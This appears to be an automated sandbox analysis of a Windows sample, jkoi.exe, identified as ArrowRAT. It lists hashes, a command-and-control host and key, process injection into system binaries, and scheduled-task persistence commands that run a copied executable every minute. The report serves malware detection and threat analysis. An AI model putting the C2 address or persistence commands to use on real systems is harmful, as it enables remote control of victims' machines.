Analysis
-
max time kernel
153s -
max time network
162s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
25-09-2024 01:13
Static task
static1
Behavioral task
behavioral1
Sample
jkoi.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
jkoi.exe
Resource
win10v2004-20240910-en
General
-
Target
jkoi.exe
-
Size
300.0MB
-
MD5
135b97e053b660f8e6cacd58965b93cd
-
SHA1
828e92ad30ac243ec063252a338519e4429940e3
-
SHA256
e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027
-
SHA512
6b19d2143f021feeccf5833b57fff55fbae3c72ea0eb480a893b48acd9ce2bdb0c895cd3516133436b4e937f97ee4e42ce58b4aa3729d1f3c29fa837bc19366c
-
SSDEEP
12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi
Malware Config
Extracted
arrowrat
Client
vncnew1984.duckdns.org:1984
ecZCILAfG
Signatures
-
Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Executes dropped EXE 1 IoCs
pid Process 1332 kio.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 320 set thread context of 2980 320 jkoi.exe 30 PID 2980 set thread context of 1236 2980 RegAsm.exe 34 PID 1332 set thread context of 2208 1332 kio.exe 48 PID 2208 set thread context of 2772 2208 RegAsm.exe 51 -
System Location Discovery: System Language Discovery 1 TTPs 12 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language kio.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language jkoi.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Toolbar explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" explorer.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1972 schtasks.exe 2216 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2980 RegAsm.exe 2980 RegAsm.exe 2980 RegAsm.exe 2980 RegAsm.exe 2208 RegAsm.exe 2208 RegAsm.exe 2208 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 320 jkoi.exe Token: SeDebugPrivilege 2980 RegAsm.exe Token: SeShutdownPrivilege 2592 explorer.exe Token: SeShutdownPrivilege 2592 explorer.exe Token: SeShutdownPrivilege 2592 explorer.exe Token: SeShutdownPrivilege 2592 explorer.exe Token: SeShutdownPrivilege 2592 explorer.exe Token: SeShutdownPrivilege 2592 explorer.exe Token: SeShutdownPrivilege 2592 explorer.exe Token: SeShutdownPrivilege 2592 explorer.exe Token: 33 3032 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 3032 AUDIODG.EXE Token: 33 3032 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 3032 AUDIODG.EXE Token: SeShutdownPrivilege 2592 explorer.exe Token: SeShutdownPrivilege 2592 explorer.exe Token: SeDebugPrivilege 1332 kio.exe Token: SeShutdownPrivilege 2592 explorer.exe Token: SeDebugPrivilege 2208 RegAsm.exe -
Suspicious use of FindShellTrayWindow 27 IoCs
pid Process 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe -
Suspicious use of SendNotifyMessage 17 IoCs
pid Process 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe 2592 explorer.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2980 RegAsm.exe 2208 RegAsm.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 320 wrote to memory of 2980 320 jkoi.exe 30 PID 2980 wrote to memory of 2592 2980 RegAsm.exe 32 PID 2980 wrote to memory of 2592 2980 RegAsm.exe 32 PID 2980 wrote to memory of 2592 2980 RegAsm.exe 32 PID 2980 wrote to memory of 2592 2980 RegAsm.exe 32 PID 2980 wrote to memory of 892 2980 RegAsm.exe 33 PID 2980 wrote to memory of 892 2980 RegAsm.exe 33 PID 2980 wrote to memory of 892 2980 RegAsm.exe 33 PID 2980 wrote to memory of 892 2980 RegAsm.exe 33 PID 2980 wrote to memory of 1236 2980 RegAsm.exe 34 PID 2980 wrote to memory of 1236 2980 RegAsm.exe 34 PID 2980 wrote to memory of 1236 2980 RegAsm.exe 34 PID 2980 wrote to memory of 1236 2980 RegAsm.exe 34 PID 2980 wrote to memory of 1236 2980 RegAsm.exe 34 PID 2980 wrote to memory of 1236 2980 RegAsm.exe 34 PID 2980 wrote to memory of 1236 2980 RegAsm.exe 34 PID 2980 wrote to memory of 1236 2980 RegAsm.exe 34 PID 2980 wrote to memory of 1236 2980 RegAsm.exe 34 PID 320 wrote to memory of 1096 320 jkoi.exe 36 PID 320 wrote to memory of 1096 320 jkoi.exe 36 PID 320 wrote to memory of 1096 320 jkoi.exe 36 PID 320 wrote to memory of 1096 320 jkoi.exe 36 PID 320 wrote to memory of 2692 320 jkoi.exe 37 PID 320 wrote to memory of 2692 320 jkoi.exe 37 PID 320 wrote to memory of 2692 320 jkoi.exe 37 PID 320 wrote to memory of 2692 320 jkoi.exe 37 PID 320 wrote to memory of 2840 320 jkoi.exe 38 PID 320 wrote to memory of 2840 320 jkoi.exe 38 PID 320 wrote to memory of 2840 320 jkoi.exe 38 PID 320 wrote to memory of 2840 320 jkoi.exe 38 PID 2592 wrote to memory of 2952 2592 explorer.exe 41 PID 2592 wrote to memory of 2952 2592 explorer.exe 41 PID 2592 wrote to memory of 2952 2592 explorer.exe 41 PID 2692 wrote to memory of 1972 2692 cmd.exe 43 PID 2692 wrote to memory of 1972 2692 cmd.exe 43 PID 2692 wrote to memory of 1972 2692 cmd.exe 43 PID 2692 wrote to memory of 1972 2692 cmd.exe 43 PID 1568 wrote to memory of 1332 1568 taskeng.exe 47 PID 1568 wrote to memory of 1332 1568 taskeng.exe 47 PID 1568 wrote to memory of 1332 1568 taskeng.exe 47 PID 1568 wrote to memory of 1332 1568 taskeng.exe 47 PID 1332 wrote to memory of 2208 1332 kio.exe 48 PID 1332 wrote to memory of 2208 1332 kio.exe 48 PID 1332 wrote to memory of 2208 1332 kio.exe 48 PID 1332 wrote to memory of 2208 1332 kio.exe 48 PID 1332 wrote to memory of 2208 1332 kio.exe 48 PID 1332 wrote to memory of 2208 1332 kio.exe 48 PID 1332 wrote to memory of 2208 1332 kio.exe 48 PID 1332 wrote to memory of 2208 1332 kio.exe 48 PID 1332 wrote to memory of 2208 1332 kio.exe 48 PID 1332 wrote to memory of 2208 1332 kio.exe 48 PID 1332 wrote to memory of 2208 1332 kio.exe 48 PID 1332 wrote to memory of 2208 1332 kio.exe 48 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\jkoi.exe"C:\Users\Admin\AppData\Local\Temp\jkoi.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"3⤵
- Boot or Logon Autostart Execution: Active Setup
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Windows\system32\ctfmon.exectfmon.exe4⤵PID:2952
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG3⤵PID:892
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG3⤵
- System Location Discovery: System Language Discovery
PID:1236
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"2⤵
- System Location Discovery: System Language Discovery
PID:1096
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1972
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\jkoi.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"2⤵
- System Location Discovery: System Language Discovery
PID:2840
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x2f01⤵
- Suspicious use of AdjustPrivilegeToken
PID:3032
-
C:\Windows\system32\taskeng.exetaskeng.exe {BF7E4C19-D6FB-4E75-A6F9-A9F1C28495FA} S-1-5-21-457978338-2990298471-2379561640-1000:WOUOSVRD\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Users\Admin\AppData\Roaming\kio\kio.exeC:\Users\Admin\AppData\Roaming\kio\kio.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1332 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2208 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"4⤵PID:2332
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG4⤵
- System Location Discovery: System Language Discovery
PID:2772
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"3⤵
- System Location Discovery: System Language Discovery
PID:1896
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f3⤵PID:2784
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f4⤵
- Scheduled Task/Job: Scheduled Task
PID:2216
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Admin\AppData\Roaming\kio\kio.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"3⤵
- System Location Discovery: System Language Discovery
PID:2660
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
46KB
MD502d2c46697e3714e49f46b680b9a6b83
SHA184f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA51260348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac